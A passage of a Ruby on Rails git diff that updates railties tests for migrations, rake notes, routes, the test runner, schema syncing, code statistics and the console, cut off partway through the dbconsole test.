--- a/railties/test/application/rake/migrations_test.rb
+++ b/railties/test/application/rake/migrations_test.rb
@@ -58,7 +58,7 @@ module ApplicationTests
       end
 
       test 'migration status when schema migrations table is not present' do
-        output = Dir.chdir(app_path){ `rake db:migrate:status` }
+        output = Dir.chdir(app_path){ `rake db:migrate:status 2>&1` }
         assert_equal "Schema migrations table does not exist yet.\n", output
       end
 
@@ -153,6 +153,52 @@ module ApplicationTests
            assert_match(/up\s+\d{3,}\s+Add email to users/, output)
         end
       end
+
+      test 'schema generation when dump_schema_after_migration is set' do
+        add_to_config('config.active_record.dump_schema_after_migration = false')
+
+        Dir.chdir(app_path) do
+          `rails generate model book title:string;
+           bundle exec rake db:migrate`
+
+          assert !File.exist?("db/schema.rb")
+        end
+
+        add_to_config('config.active_record.dump_schema_after_migration = true')
+
+        Dir.chdir(app_path) do
+          `rails generate model author name:string;
+           bundle exec rake db:migrate`
+
+          structure_dump = File.read("db/schema.rb")
+          assert_match(/create_table "authors"/, structure_dump)
+        end
+      end
+
+      test 'default schema generation after migration' do
+        Dir.chdir(app_path) do
+          `rails generate model book title:string;
+           bundle exec rake db:migrate`
+
+          structure_dump = File.read("db/schema.rb")
+          assert_match(/create_table "books"/, structure_dump)
+        end
+      end
+
+      test 'test migration status migrated file is deleted' do
+        Dir.chdir(app_path) do
+          `rails generate model user username:string password:string;
+           rails generate migration add_email_to_users email:string;
+           rake db:migrate
+           rm db/migrate/*email*.rb`
+
+          output = `rake db:migrate:status`
+          File.write('test.txt', output)
+
+          assert_match(/up\s+\d{14}\s+Create users/, output)
+          assert_match(/up\s+\d{14}\s+\** NO FILE \**/, output)
+        end
+      end
     end
   end
 end
diff --git a/railties/test/application/rake/notes_test.rb b/railties/test/application/rake/notes_test.rb
index 01d751e822..95087bf29f 100644
--- a/railties/test/application/rake/notes_test.rb
+++ b/railties/test/application/rake/notes_test.rb
@@ -1,4 +1,5 @@
 require "isolation/abstract_unit"
+require 'rails/source_annotation_extractor'
 
 module ApplicationTests
   module RakeTests
@@ -18,46 +19,27 @@ module ApplicationTests
 
       test 'notes finds notes for certain file_types' do
         app_file "app/views/home/index.html.erb", "<% # TODO: note in erb %>"
-        app_file "app/views/home/index.html.haml", "-# TODO: note in haml"
-        app_file "app/views/home/index.html.slim", "/ TODO: note in slim"
-        app_file "app/assets/javascripts/application.js.coffee", "# TODO: note in coffee"
         app_file "app/assets/javascripts/application.js", "// TODO: note in js"
         app_file "app/assets/stylesheets/application.css", "// TODO: note in css"
-        app_file "app/assets/stylesheets/application.css.scss", "// TODO: note in scss"
-        app_file "app/assets/stylesheets/application.css.sass", "// TODO: note in sass"
-        app_file "app/assets/stylesheets/application.css.less", "// TODO: note in less"
         app_file "app/controllers/application_controller.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in ruby"
         app_file "lib/tasks/task.rake", "# TODO: note in rake"
+        app_file 'app/views/home/index.html.builder', '# TODO: note in builder'
+        app_file 'config/locales/en.yml', '# TODO: note in yml'
+        app_file 'config/locales/en.yaml', '# TODO: note in yaml'
+        app_file "app/views/home/index.ruby", "# TODO: note in ruby"
 
-        boot_rails
-        require 'rake'
-        require 'rdoc/task'
-        require 'rake/testtask'
-
-        Rails.application.load_tasks
-
-        Dir.chdir(app_path) do
-          output = `bundle exec rake notes`
-          lines = output.scan(/\[([0-9\s]+)\](\s)/)
-
+        run_rake_notes do |output, lines|
           assert_match(/note in erb/, output)
-          assert_match(/note in haml/, output)
-          assert_match(/note in slim/, output)
-          assert_match(/note in ruby/, output)
-          assert_match(/note in coffee/, output)
           assert_match(/note in js/, output)
           assert_match(/note in css/, output)
-          assert_match(/note in scss/, output)
-          assert_match(/note in sass/, output)
-          assert_match(/note in less/, output)
           assert_match(/note in rake/, output)
+          assert_match(/note in builder/, output)
+          assert_match(/note in yml/, output)
+          assert_match(/note in yaml/, output)
+          assert_match(/note in ruby/, output)
 
-          assert_equal 11, lines.size
-
-          lines.each do |line|
-            assert_equal 4, line[0].size
-            assert_equal ' ', line[1]
-          end
+          assert_equal 9, lines.size
+          assert_equal [4], lines.map(&:size).uniq
         end
       end
 
@@ -70,18 +52,7 @@ module ApplicationTests
 
         app_file "some_other_dir/blah.rb", "# TODO: note in some_other directory"
 
-        boot_rails
-
-        require 'rake'
-        require 'rdoc/task'
-        require 'rake/testtask'
-
-        Rails.application.load_tasks
-
-        Dir.chdir(app_path) do
-          output = `bundle exec rake notes`
-          lines = output.scan(/\[([0-9\s]+)\]/).flatten
-
+        run_rake_notes do |output, lines|
           assert_match(/note in app directory/, output)
           assert_match(/note in config directory/, output)
           assert_match(/note in db directory/, output)
@@ -90,10 +61,7 @@ module ApplicationTests
           assert_no_match(/note in some_other directory/, output)
 
           assert_equal 5, lines.size
-
-          lines.each do |line_number|
-            assert_equal 4, line_number.size
-          end
+          assert_equal [4], lines.map(&:size).uniq
         end
       end
 
@@ -106,18 +74,7 @@ module ApplicationTests
 
         app_file "some_other_dir/blah.rb", "# TODO: note in some_other directory"
 
-        boot_rails
-
-        require 'rake'
-        require 'rdoc/task'
-        require 'rake/testtask'
-
-        Rails.application.load_tasks
-
-        Dir.chdir(app_path) do
-          output = `SOURCE_ANNOTATION_DIRECTORIES='some_other_dir' bundle exec rake notes`
-          lines = output.scan(/\[([0-9\s]+)\]/).flatten
-
+        run_rake_notes "SOURCE_ANNOTATION_DIRECTORIES='some_other_dir' bundle exec rake notes" do |output, lines|
           assert_match(/note in app directory/, output)
           assert_match(/note in config directory/, output)
           assert_match(/note in db directory/, output)
@@ -127,10 +84,7 @@ module ApplicationTests
           assert_match(/note in some_other directory/, output)
 
           assert_equal 6, lines.size
-
-          lines.each do |line_number|
-            assert_equal 4, line_number.size
-          end
+          assert_equal [4], lines.map(&:size).uniq
         end
       end
 
@@ -148,32 +102,51 @@ module ApplicationTests
           end
         EOS
 
-        boot_rails
-
-        require 'rake'
-        require 'rdoc/task'
-        require 'rake/testtask'
-
-        Rails.application.load_tasks
-
-        Dir.chdir(app_path) do
-          output = `bundle exec rake notes_custom`
-          lines = output.scan(/\[([0-9\s]+)\]/).flatten
-
+        run_rake_notes "bundle exec rake notes_custom" do |output, lines|
           assert_match(/\[FIXME\] note in lib directory/, output)
           assert_match(/\[TODO\] note in test directory/, output)
           assert_no_match(/OPTIMIZE/, output)
           assert_no_match(/note in app directory/, output)
 
           assert_equal 2, lines.size
+          assert_equal [4], lines.map(&:size).uniq
+        end
+      end
 
-          lines.each do |line_number|
-            assert_equal 4, line_number.size
-          end
+      test 'register a new extension' do
+        add_to_config %q{ config.annotations.register_extensions("scss", "sass") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ } }
+        app_file "app/assets/stylesheets/application.css.scss", "// TODO: note in scss"
+        app_file "app/assets/stylesheets/application.css.sass", "// TODO: note in sass"
+
+        run_rake_notes do |output, lines|
+          assert_match(/note in scss/, output)
+          assert_match(/note in sass/, output)
+          assert_equal 2, lines.size
         end
       end
 
       private
+
+      def run_rake_notes(command = 'bundle exec rake notes')
+        boot_rails
+        load_tasks
+
+        Dir.chdir(app_path) do
+          output = `#{command}`
+          lines  = output.scan(/\[([0-9\s]+)\]\s/).flatten
+
+          yield output, lines
+        end
+      end
+
+      def load_tasks
+        require 'rake'
+        require 'rdoc/task'
+        require 'rake/testtask'
+
+        Rails.application.load_tasks
+      end
+
       def boot_rails
         super
         require "#{app_path}/config/environment"
diff --git a/railties/test/application/rake_test.rb b/railties/test/application/rake_test.rb
index c1cb1c1eba..8d71b813e6 100644
--- a/railties/test/application/rake_test.rb
+++ b/railties/test/application/rake_test.rb
@@ -111,7 +111,7 @@ module ApplicationTests
       RUBY
 
       output = Dir.chdir(app_path){ `rake routes` }
-      assert_equal "Prefix Verb URI Pattern     Controller#Action\ncart GET /cart(.:format) cart#show\n", output
+      assert_equal "Prefix Verb URI Pattern     Controller#Action\n  cart GET  /cart(.:format) cart#show\n", output
     end
 
     def test_rake_routes_with_controller_environment
@@ -124,7 +124,7 @@ module ApplicationTests
 
       ENV['CONTROLLER'] = 'cart'
       output = Dir.chdir(app_path){ `rake routes` }
-      assert_equal "Prefix Verb URI Pattern     Controller#Action\ncart GET /cart(.:format) cart#show\n", output
+      assert_equal "Prefix Verb URI Pattern     Controller#Action\n  cart GET  /cart(.:format) cart#show\n", output
     end
 
     def test_rake_routes_displays_message_when_no_routes_are_defined
@@ -187,7 +187,7 @@ module ApplicationTests
     def test_scaffold_tests_pass_by_default
       output = Dir.chdir(app_path) do
         `rails generate scaffold user username:string password:string;
-         bundle exec rake db:migrate db:test:clone test`
+         bundle exec rake db:migrate test`
       end
 
       assert_match(/7 runs, 13 assertions, 0 failures, 0 errors/, output)
@@ -197,7 +197,7 @@ module ApplicationTests
     def test_scaffold_with_references_columns_tests_pass_by_default
       output = Dir.chdir(app_path) do
         `rails generate scaffold LineItems product:references cart:belongs_to;
-         bundle exec rake db:migrate db:test:clone test`
+         bundle exec rake db:migrate test`
       end
 
       assert_match(/7 runs, 13 assertions, 0 failures, 0 errors/, output)
@@ -208,7 +208,8 @@ module ApplicationTests
       add_to_config "config.active_record.schema_format = :sql"
       output = Dir.chdir(app_path) do
         `rails generate scaffold user username:string;
-         bundle exec rake db:migrate db:test:clone 2>&1 --trace`
+         bundle exec rake db:migrate;
+         bundle exec rake db:test:clone 2>&1 --trace`
       end
       assert_match(/Execute db:test:clone_structure/, output)
     end
@@ -217,7 +218,8 @@ module ApplicationTests
       add_to_config "config.active_record.schema_format = :sql"
       output = Dir.chdir(app_path) do
         `rails generate scaffold user username:string;
-         bundle exec rake db:migrate db:test:prepare 2>&1 --trace`
+         bundle exec rake db:migrate;
+         bundle exec rake db:test:prepare 2>&1 --trace`
       end
       assert_match(/Execute db:test:load_structure/, output)
     end
@@ -225,9 +227,9 @@ module ApplicationTests
     def test_rake_dump_structure_should_respect_db_structure_env_variable
       Dir.chdir(app_path) do
         # ensure we have a schema_migrations table to dump
-        `bundle exec rake db:migrate db:structure:dump DB_STRUCTURE=db/my_structure.sql`
+        `bundle exec rake db:migrate db:structure:dump SCHEMA=db/my_structure.sql`
       end
-      assert File.exists?(File.join(app_path, 'db', 'my_structure.sql'))
+      assert File.exist?(File.join(app_path, 'db', 'my_structure.sql'))
     end
 
     def test_rake_dump_structure_should_be_called_twice_when_migrate_redo
@@ -248,26 +250,37 @@ module ApplicationTests
          rails generate model product name:string;
          bundle exec rake db:migrate db:schema:cache:dump`
       end
-      assert File.exists?(File.join(app_path, 'db', 'schema_cache.dump'))
+      assert File.exist?(File.join(app_path, 'db', 'schema_cache.dump'))
     end
 
     def test_rake_clear_schema_cache
       Dir.chdir(app_path) do
         `bundle exec rake db:schema:cache:dump db:schema:cache:clear`
       end
-      assert !File.exists?(File.join(app_path, 'db', 'schema_cache.dump'))
+      assert !File.exist?(File.join(app_path, 'db', 'schema_cache.dump'))
     end
 
     def test_copy_templates
       Dir.chdir(app_path) do
         `bundle exec rake rails:templates:copy`
         %w(controller mailer scaffold).each do |dir|
-          assert File.exists?(File.join(app_path, 'lib', 'templates', 'erb', dir))
+          assert File.exist?(File.join(app_path, 'lib', 'templates', 'erb', dir))
         end
         %w(controller helper scaffold_controller assets).each do |dir|
-          assert File.exists?(File.join(app_path, 'lib', 'templates', 'rails', dir))
+          assert File.exist?(File.join(app_path, 'lib', 'templates', 'rails', dir))
         end
       end
     end
+
+    def test_template_load_initializers
+      app_file "config/initializers/dummy.rb", "puts 'Hello, World!'"
+      app_file "template.rb", ""
+
+      output = Dir.chdir(app_path) do
+        `bundle exec rake rails:template LOCATION=template.rb`
+      end
+
+      assert_match(/Hello, World!/, output)
+    end
   end
 end
diff --git a/railties/test/application/routing_test.rb b/railties/test/application/routing_test.rb
index 8576a2b738..cbada6be97 100644
--- a/railties/test/application/routing_test.rb
+++ b/railties/test/application/routing_test.rb
@@ -123,6 +123,26 @@ module ApplicationTests
       assert_equal '/archives', last_response.body
     end
 
+    test "mount named rack app" do
+      controller :foo, <<-RUBY
+        class FooController < ApplicationController
+          def index
+            render text: my_blog_path
+          end
+        end
+      RUBY
+
+      app_file 'config/routes.rb', <<-RUBY
+        Rails.application.routes.draw do
+          mount lambda { |env| [200, {}, [env["PATH_INFO"]]] }, at: "/blog", as: "my_blog"
+          get '/foo' => 'foo#index'
+        end
+      RUBY
+
+      get '/foo'
+      assert_equal '/blog', last_response.body
+    end
+
     test "multiple controllers" do
       controller :foo, <<-RUBY
         class FooController < ApplicationController
diff --git a/railties/test/application/test_runner_test.rb b/railties/test/application/test_runner_test.rb
index 118f22995e..a12f3cfc24 100644
--- a/railties/test/application/test_runner_test.rb
+++ b/railties/test/application/test_runner_test.rb
@@ -47,9 +47,8 @@ module ApplicationTests
         def; end
       RUBY
 
-      error_stream = Tempfile.new('error')
-      redirect_stderr(error_stream) { run_test_command('test/models/error_test.rb') }
-      assert_match "syntax error", error_stream.read
+      error = capture(:stderr) { run_test_command('test/models/error_test.rb') }
+      assert_match "syntax error", error
     end
 
     def test_run_models
@@ -109,6 +108,17 @@ module ApplicationTests
       end
     end
 
+    def test_run_jobs
+      create_test_file :jobs, 'foo_job'
+      create_test_file :jobs, 'bar_job'
+      create_test_file :models, 'foo'
+      run_test_jobs_command.tap do |output|
+        assert_match "FooJobTest", output
+        assert_match "BarJobTest", output
+        assert_match "2 runs, 2 assertions, 0 failures", output
+      end
+    end
+
     def test_run_functionals
       create_test_file :mailers, 'foo_mailer'
       create_test_file :controllers, 'bar_controller'
@@ -132,11 +142,11 @@ module ApplicationTests
     end
 
     def test_run_all_suites
-      suites = [:models, :helpers, :unit, :controllers, :mailers, :functional, :integration]
+      suites = [:models, :helpers, :unit, :controllers, :mailers, :functional, :integration, :jobs]
       suites.each { |suite| create_test_file suite, "foo_#{suite}" }
       run_test_command('') .tap do |output|
         suites.each { |suite| assert_match "Foo#{suite.to_s.camelize}Test", output }
-        assert_match "7 runs, 7 assertions, 0 failures", output
+        assert_match "8 runs, 8 assertions, 0 failures", output
       end
     end
 
@@ -245,7 +255,7 @@ module ApplicationTests
       def run_test_command(arguments = 'test/unit/test_test.rb')
         run_task ['test', arguments]
       end
-      %w{ mailers models helpers units controllers functionals integration }.each do |type|
+      %w{ mailers models helpers units controllers functionals integration jobs }.each do |type|
         define_method("run_test_#{type}_command") do
           run_task ["test:#{type}"]
         end
@@ -285,15 +295,6 @@ module ApplicationTests
         app_file 'db/schema.rb', ''
       end
 
-      def redirect_stderr(target_stream)
-        previous_stderr = STDERR.dup
-        $stderr.reopen(target_stream)
-        yield
-        target_stream.rewind
-      ensure
-        $stderr = previous_stderr
-      end
-
       def create_test_file(path = :unit, name = 'test')
         app_file "test/#{path}/#{name}_test.rb", <<-RUBY
           require 'test_helper'
diff --git a/railties/test/application/test_test.rb b/railties/test/application/test_test.rb
index c7ad2fba8f..c7132837b1 100644
--- a/railties/test/application/test_test.rb
+++ b/railties/test/application/test_test.rb
@@ -24,7 +24,7 @@ module ApplicationTests
         end
       RUBY
 
-      run_test_file 'unit/foo_test.rb'
+      assert_successful_test_run 'unit/foo_test.rb'
     end
 
     test "integration test" do
@@ -49,19 +49,274 @@ module ApplicationTests
         end
       RUBY
 
-      run_test_file 'integration/posts_test.rb'
+      assert_successful_test_run 'integration/posts_test.rb'
+    end
+
+    test "enable full backtraces on test failures" do
+      app_file 'test/unit/failing_test.rb', <<-RUBY
+        require 'test_helper'
+
+        class FailingTest < ActiveSupport::TestCase
+          def test_failure
+            raise "fail"
+          end
+        end
+      RUBY
+
+      output = run_test_file('unit/failing_test.rb', env: { "BACKTRACE" => "1" })
+      assert_match %r{/app/test/unit/failing_test\.rb}, output
+    end
+
+    test "ruby schema migrations" do
+      output  = script('generate model user name:string')
+      version = output.match(/(\d+)_create_users\.rb/)[1]
+
+      app_file 'test/models/user_test.rb', <<-RUBY
+        require 'test_helper'
+
+        class UserTest < ActiveSupport::TestCase
+          test "user" do
+            User.create! name: "Jon"
+          end
+        end
+      RUBY
+      app_file 'db/schema.rb', ''
+
+      assert_unsuccessful_run "models/user_test.rb", "Migrations are pending"
+
+      app_file 'db/schema.rb', <<-RUBY
+        ActiveRecord::Schema.define(version: #{version}) do
+          create_table :users do |t|
+            t.string :name
+          end
+        end
+      RUBY
+
+      app_file 'config/initializers/disable_maintain_test_schema.rb', <<-RUBY
+        Rails.application.config.active_record.maintain_test_schema = false
+      RUBY
+
+      assert_unsuccessful_run "models/user_test.rb", "Could not find table 'users'"
+
+      File.delete "#{app_path}/config/initializers/disable_maintain_test_schema.rb"
+
+      result = assert_successful_test_run('models/user_test.rb')
+      assert !result.include?("create_table(:users)")
+    end
+
+    test "sql structure migrations" do
+      output  = script('generate model user name:string')
+      version = output.match(/(\d+)_create_users\.rb/)[1]
+
+      app_file 'test/models/user_test.rb', <<-RUBY
+        require 'test_helper'
+
+        class UserTest < ActiveSupport::TestCase
+          test "user" do
+            User.create! name: "Jon"
+          end
+        end
+      RUBY
+
+      app_file 'db/structure.sql', ''
+      app_file 'config/initializers/enable_sql_schema_format.rb', <<-RUBY
+        Rails.application.config.active_record.schema_format = :sql
+      RUBY
+
+      assert_unsuccessful_run "models/user_test.rb", "Migrations are pending"
+
+      app_file 'db/structure.sql', <<-SQL
+        CREATE TABLE "schema_migrations" ("version" varchar(255) NOT NULL);
+        CREATE UNIQUE INDEX "unique_schema_migrations" ON "schema_migrations" ("version");
+        CREATE TABLE "users" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, "name" varchar(255));
+        INSERT INTO schema_migrations (version) VALUES ('#{version}');
+      SQL
+
+      app_file 'config/initializers/disable_maintain_test_schema.rb', <<-RUBY
+        Rails.application.config.active_record.maintain_test_schema = false
+      RUBY
+
+      assert_unsuccessful_run "models/user_test.rb", "Could not find table 'users'"
+
+      File.delete "#{app_path}/config/initializers/disable_maintain_test_schema.rb"
+
+      assert_successful_test_run('models/user_test.rb')
+    end
+
+    test "sql structure migrations when adding column to existing table" do
+      output_1  = script('generate model user name:string')
+      version_1 = output_1.match(/(\d+)_create_users\.rb/)[1]
+
+      app_file 'test/models/user_test.rb', <<-RUBY
+        require 'test_helper'
+        class UserTest < ActiveSupport::TestCase
+          test "user" do
+            User.create! name: "Jon"
+          end
+        end
+      RUBY
+
+      app_file 'config/initializers/enable_sql_schema_format.rb', <<-RUBY
+        Rails.application.config.active_record.schema_format = :sql
+      RUBY
+
+      app_file 'db/structure.sql', <<-SQL
+        CREATE TABLE "schema_migrations" ("version" varchar(255) NOT NULL);
+        CREATE UNIQUE INDEX "unique_schema_migrations" ON "schema_migrations" ("version");
+        CREATE TABLE "users" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, "name" varchar(255));
+        INSERT INTO schema_migrations (version) VALUES ('#{version_1}');
+      SQL
+
+      assert_successful_test_run('models/user_test.rb')
+
+      output_2  = script('generate migration add_email_to_users')
+      version_2 = output_2.match(/(\d+)_add_email_to_users\.rb/)[1]
+
+      app_file 'test/models/user_test.rb', <<-RUBY
+        require 'test_helper'
+
+        class UserTest < ActiveSupport::TestCase
+          test "user" do
+            User.create! name: "Jon", email: "jon@doe.com"
+          end
+        end
+      RUBY
+
+      app_file 'db/structure.sql', <<-SQL
+        CREATE TABLE "schema_migrations" ("version" varchar(255) NOT NULL);
+        CREATE UNIQUE INDEX "unique_schema_migrations" ON "schema_migrations" ("version");
+        CREATE TABLE "users" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, "name" varchar(255), "email" varchar(255));
+        INSERT INTO schema_migrations (version) VALUES ('#{version_1}');
+        INSERT INTO schema_migrations (version) VALUES ('#{version_2}');
+      SQL
+
+      assert_successful_test_run('models/user_test.rb')
+    end
+
+    # TODO: would be nice if we could detect the schema change automatically.
+    # For now, the user has to synchronize the schema manually.
+    # This test-case serves as a reminder for this use-case.
+    test "manually synchronize test schema after rollback" do
+      output  = script('generate model user name:string')
+      version = output.match(/(\d+)_create_users\.rb/)[1]
+
+      app_file 'test/models/user_test.rb', <<-RUBY
+        require 'test_helper'
+
+        class UserTest < ActiveSupport::TestCase
+          test "user" do
+            assert_equal ["id", "name"], User.columns_hash.keys
+          end
+        end
+      RUBY
+      app_file 'db/schema.rb', <<-RUBY
+        ActiveRecord::Schema.define(version: #{version}) do
+          create_table :users do |t|
+            t.string :name
+          end
+        end
+      RUBY
+
+      assert_successful_test_run "models/user_test.rb"
+
+      # Simulate `db:rollback` + edit of the migration file + `db:migrate`
+      app_file 'db/schema.rb', <<-RUBY
+        ActiveRecord::Schema.define(version: #{version}) do
+          create_table :users do |t|
+            t.string :name
+            t.integer :age
+          end
+        end
+      RUBY
+
+      assert_successful_test_run "models/user_test.rb"
+
+      Dir.chdir(app_path) { `bin/rake db:test:prepare` }
+
+      assert_unsuccessful_run "models/user_test.rb", <<-ASSERTION
+Expected: ["id", "name"]
+  Actual: ["id", "name", "age"]
+      ASSERTION
+    end
+
+    test "hooks for plugins" do
+      output  = script('generate model user name:string')
+      version = output.match(/(\d+)_create_users\.rb/)[1]
+
+      app_file 'lib/tasks/hooks.rake', <<-RUBY
+        task :before_hook do
+          has_user_table = ActiveRecord::Base.connection.table_exists?('users')
+          puts "before: " + has_user_table.to_s
+        end
+
+        task :after_hook do
+          has_user_table = ActiveRecord::Base.connection.table_exists?('users')
+          puts "after: " + has_user_table.to_s
+        end
+
+        Rake::Task["db:test:prepare"].enhance [:before_hook] do
+          Rake::Task[:after_hook].invoke
+        end
+      RUBY
+      app_file 'test/models/user_test.rb', <<-RUBY
+        require 'test_helper'
+        class UserTest < ActiveSupport::TestCase
+          test "user" do
+            User.create! name: "Jon"
+          end
+        end
+      RUBY
+
+      # Simulate `db:migrate`
+      app_file 'db/schema.rb', <<-RUBY
+        ActiveRecord::Schema.define(version: #{version}) do
+          create_table :users do |t|
+            t.string :name
+          end
+        end
+      RUBY
+
+      output = assert_successful_test_run "models/user_test.rb"
+      assert_includes output, "before: false\nafter: true"
+
+      # running tests again won't trigger a schema update
+      output = assert_successful_test_run "models/user_test.rb"
+      assert_not_includes output, "before:"
+      assert_not_includes output, "after:"
     end
 
     private
-      def run_test_file(name)
-        result = ruby '-Itest', "#{app_path}/test/#{name}"
+      def assert_unsuccessful_run(name, message)
+        result = run_test_file(name)
+        assert_not_equal 0, $?.to_i
+        assert result.include?(message)
+        result
+      end
+
+      def assert_successful_test_run(name)
+        result = run_test_file(name)
         assert_equal 0, $?.to_i, result
+        result
+      end
+
+      def run_test_file(name, options = {})
+        ruby '-Itest', "#{app_path}/test/#{name}", options.deep_merge(env: {"RAILS_ENV" => "test"})
       end
 
       def ruby(*args)
+        options = args.extract_options!
+        env = options.fetch(:env, {})
+        env["RUBYLIB"] = $:.join(':')
+
         Dir.chdir(app_path) do
-          `RUBYLIB='#{$:.join(':')}' #{Gem.ruby} #{args.join(' ')}`
+          `#{env_string(env)} #{Gem.ruby} #{args.join(' ')} 2>&1`
         end
       end
+
+      def env_string(variables)
+        variables.map do |key, value|
+          "#{key}='#{value}'"
+        end.join " "
+      end
   end
 end
diff --git a/railties/test/application/url_generation_test.rb b/railties/test/application/url_generation_test.rb
index efbc853d7b..ef16ab56ed 100644
--- a/railties/test/application/url_generation_test.rb
+++ b/railties/test/application/url_generation_test.rb
@@ -15,7 +15,7 @@ module ApplicationTests
       require "action_view/railtie"
 
       class MyApp < Rails::Application
-        config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
+        secrets.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
         config.session_store :cookie_store, key: "_myapp_session"
         config.active_support.deprecation = :log
         config.eager_load = false
diff --git a/railties/test/code_statistics_calculator_test.rb b/railties/test/code_statistics_calculator_test.rb
index b3eabf5024..46445a001a 100644
--- a/railties/test/code_statistics_calculator_test.rb
+++ b/railties/test/code_statistics_calculator_test.rb
@@ -6,6 +6,43 @@ class CodeStatisticsCalculatorTest < ActiveSupport::TestCase
     @code_statistics_calculator = CodeStatisticsCalculator.new
   end
 
+  test 'calculate statistics using #add_by_file_path' do
+    code = <<-RUBY
+      def foo
+        puts 'foo'
+        # bar
+      end
+    RUBY
+
+    temp_file 'stats.rb', code do |path|
+      @code_statistics_calculator.add_by_file_path path
+
+      assert_equal 4, @code_statistics_calculator.lines
+      assert_equal 3, @code_statistics_calculator.code_lines
+      assert_equal 0, @code_statistics_calculator.classes
+      assert_equal 1, @code_statistics_calculator.methods
+    end
+  end
+
+  test 'count number of methods in MiniTest file' do
+    code = <<-RUBY
+      class FooTest < ActionController::TestCase
+        test 'expectation' do
+          assert true
+        end
+
+        def test_expectation
+          assert true
+        end
+      end
+    RUBY
+
+    temp_file 'foo_test.rb', code do |path|
+      @code_statistics_calculator.add_by_file_path path
+      assert_equal 2, @code_statistics_calculator.methods
+    end
+  end
+
   test 'add statistics to another using #add' do
     code_statistics_calculator_1 = CodeStatisticsCalculator.new(1, 2, 3, 4)
     @code_statistics_calculator.add(code_statistics_calculator_1)
@@ -45,30 +82,6 @@ class CodeStatisticsCalculatorTest < ActiveSupport::TestCase
     assert_equal 6, @code_statistics_calculator.methods
   end
 
-  test 'calculate statistics using #add_by_file_path' do
-    tmp_path = File.expand_path(File.join(File.dirname(__FILE__), 'fixtures', 'tmp'))
-    FileUtils.mkdir_p(tmp_path)
-
-    code = <<-'CODE'
-      def foo
-        puts 'foo'
-        # bar
-      end
-    CODE
-
-    file_path = "#{tmp_path}/stats.rb"
-    File.open(file_path, 'w') { |f| f.write(code) }
-
-    @code_statistics_calculator.add_by_file_path(file_path)
-
-    assert_equal 4, @code_statistics_calculator.lines
-    assert_equal 3, @code_statistics_calculator.code_lines
-    assert_equal 0, @code_statistics_calculator.classes
-    assert_equal 1, @code_statistics_calculator.methods
-
-    FileUtils.rm_rf(tmp_path)
-  end
-
   test 'calculate number of Ruby methods' do
     code = <<-'CODE'
       def foo
@@ -285,4 +298,17 @@ class Animal
     assert_equal 0, @code_statistics_calculator.classes
     assert_equal 0, @code_statistics_calculator.methods
   end
+
+  private
+    def temp_file(name, content)
+      dir = File.expand_path '../fixtures/tmp', __FILE__
+      path = "#{dir}/#{name}"
+
+      FileUtils.mkdir_p dir
+      File.write path, content
+
+      yield path
+    ensure
+      FileUtils.rm_rf path
+    end
 end
diff --git a/railties/test/commands/console_test.rb b/railties/test/commands/console_test.rb
index a34beaedb3..de0cf0ba9e 100644
--- a/railties/test/commands/console_test.rb
+++ b/railties/test/commands/console_test.rb
@@ -6,7 +6,13 @@ class Rails::ConsoleTest < ActiveSupport::TestCase
   include EnvHelpers
 
   class FakeConsole
-    def self.start; end
+    def self.started?
+      @started
+    end
+
+    def self.start
+      @started = true
+    end
   end
 
   def test_sandbox_option
@@ -19,36 +25,24 @@ class Rails::ConsoleTest < ActiveSupport::TestCase
     assert console.sandbox?
   end
 
-  def test_debugger_option
-    console = Rails::Console.new(app, parse_arguments(["--debugger"]))
-    assert console.debugger?
-  end
-
   def test_no_options
     console = Rails::Console.new(app, parse_arguments([]))
-    assert !console.debugger?
     assert !console.sandbox?
   end
 
   def test_start
-    FakeConsole.expects(:start)
     start
-    assert_match(/Loading \w+ environment \(Rails/, output)
-  end
 
-  def test_start_with_debugger
-    rails_console = Rails::Console.new(app, parse_arguments(["--debugger"]))
-    rails_console.expects(:require_debugger).returns(nil)
-
-    silence_stream(STDOUT) { rails_console.start }
+    assert app.console.started?
+    assert_match(/Loading \w+ environment \(Rails/, output)
   end
 
   def test_start_with_sandbox
-    app.expects(:sandbox=).with(true)
-    FakeConsole.expects(:start)
-
     start ["--sandbox"]
 
+
+    assert app.console.started?
+    assert app.sandbox
     assert_match(/Loading \w+ environment in sandbox \(Rails/, output)
   end
 
@@ -58,7 +52,7 @@ class Rails::ConsoleTest < ActiveSupport::TestCase
   end
 
   def test_console_defaults_to_IRB
-    app = build_app(console: nil)
+    app = build_app(nil)
     assert_equal IRB, Rails::Console.new(app).console
   end
 
@@ -109,8 +103,12 @@ class Rails::ConsoleTest < ActiveSupport::TestCase
   end
 
   def test_rails_env_is_dev_when_argument_is_dev_and_dev_env_is_present
-    Rails::Console.stubs(:available_environments).returns(['dev'])
-    options = Rails::Console.parse_arguments(['dev'])
+    stubbed_console = Class.new(Rails::Console) do
+      def available_environments
+        ['dev']
+      end
+    end
+    options = stubbed_console.parse_arguments(['dev'])
     assert_match('dev', options[:environment])
   end
 
@@ -125,15 +123,29 @@ class Rails::ConsoleTest < ActiveSupport::TestCase
   end
 
   def app
-    @app ||= build_app(console: FakeConsole)
+    @app ||= build_app(FakeConsole)
   end
 
-  def build_app(config)
-    config = mock("config", config)
-    app = mock("app", config: config)
-    app.stubs(:sandbox=).returns(nil)
-    app.expects(:load_console)
-    app
+  def build_app(console)
+    mocked_console = Class.new do
+      attr_reader :sandbox, :console
+
+      def initialize(console)
+        @console = console
+      end
+
+      def config
+        self
+      end
+
+      def sandbox=(arg)
+        @sandbox = arg
+      end
+
+      def load_console
+      end
+    end
+    mocked_console.new(console)
   end
 
   def parse_arguments(args)
diff --git a/railties/test/commands/dbconsole_test.rb b/railties/test/commands/dbconsole_test.rb
index edb92b3aa2..a3cd1eb0ed 100644
--- a/railties/test/commands/dbconsole_test.rb
+++ b/railties/test/commands/dbconsole_test.rb
@@ -1,90 +1,149 @@
 require 'abstract_unit'
+require 'minitest/mock'
 require 'rails/commands/dbconsole'
 
 class Rails::DBConsoleTest < ActiveSupport::TestCase
-  def teardown
-    %w[PGUSER PGHOST PGPORT PGPASSWORD].each{|key| ENV.delete(key)}
-  end
 
-  def test_config
-    Rails::DBConsole.const_set(:APP_PATH, "erb")
 
-    app_config({})
-    capture_abort { Rails::DBConsole.new.config }
-    assert aborted
